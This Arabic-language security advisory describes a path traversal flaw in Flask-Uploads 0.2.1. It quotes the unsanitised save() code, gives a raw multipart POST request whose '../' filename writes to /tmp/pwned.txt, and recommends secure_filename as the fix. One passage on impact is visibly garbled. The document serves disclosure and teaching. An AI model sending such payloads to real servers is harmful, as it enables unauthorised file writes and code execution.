
عرض توضيحي لثغرة CWE-22 الخاصة بتجاوز المسار (Path Traversal) في Flask-Uploads 0.2.1. لأغراض تعليمية وبحوث أمنية فقط. تم اختباره على Python 3.11.
توجد ثغرة حرجة من نوع اجتياز المسار في إصدار Flask-Uploads 0.2.1. تفشل المكتبة في تعقيم أسماء الملفات المرفوعة بشكل صحيح قبل حفظها في نظام الملفات.
على وجه التحديد، تقوم طريقة save() في flask_uploads.py بربط مسار وجهة الرفع مباشرةً مع اسم الملف المقدَّم من المستخدم باستخدام os.path.join(). يسمح هذا للمهاجم بتضمين تسلسلات اجتياز الدلائل (مثل ../../) في اسم الملف، مما يمكنّه من كتابة ملفات في مواقع عشوائية على نظام ملفات الخادم.
الملف: flask_uploads.py (السطر 132 في الإصدار 0.2.1)
def save(self, storage, filename=None):
if filename is None:
filename = storage.filename
# VULNERABLE CODE: No sanitization of 'filename'
target = os.path.join(self.destination, filename)
storage.save(target)
return filename
يعتمد التطبيق على المطوّر لتعقيم اسم الملف، لكن وثائق المكتبة توحي بأنها تتعامل مع رفع الملفات بشكل آمن. افتراضيًا، إذا مرّر المطوّر اسم ملف خام من طلب ما، فإن ذلك يؤدي إلى ثغرة.
ssh_host_key، ملفات الإعدادات)..php، .py) إلى دليل يتم تنفيذه بواسطة خادم الويب (مثل cgi-bin أو مجلد ثابت معروف)، يمكن للمهاجم تنفيذ أوامر عشوائية على الخادم.يمكن للمهاجم استغلال هذه الثغرة عن طريق إرسال طلب POST باسم ملف مصمم بعناية:
POST /upload HTTP/1.1
Host: target.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
------WebKitFormBoundary
Content-Disposition: form-data; name="file"; filename="../../../../../tmp/pwned.txt"
Content-Type: text/plain
HACKED
------WebKitFormBoundary--
إذا استخدم الخادم Flask-Uploads لحفظ هذا الملف، فسيتم كتابته في /tmp/pwned.txt بدلاً من دليل الرفع المقصود.
يجب على المكتبة التحقق من أن المسار المُدمج يقع ضمن الدليل المقصود باستخدام os.path.abspath وstartswith، أو استخدام دالة تعقيم مثل werkzeug.utils.secure_filename دائمًا.
الإصلاح الموصى به:
from werkzeug.utils import secure_filename
# ...
filename = secure_filename(filename)
target = os.path.join(self.destination, filename)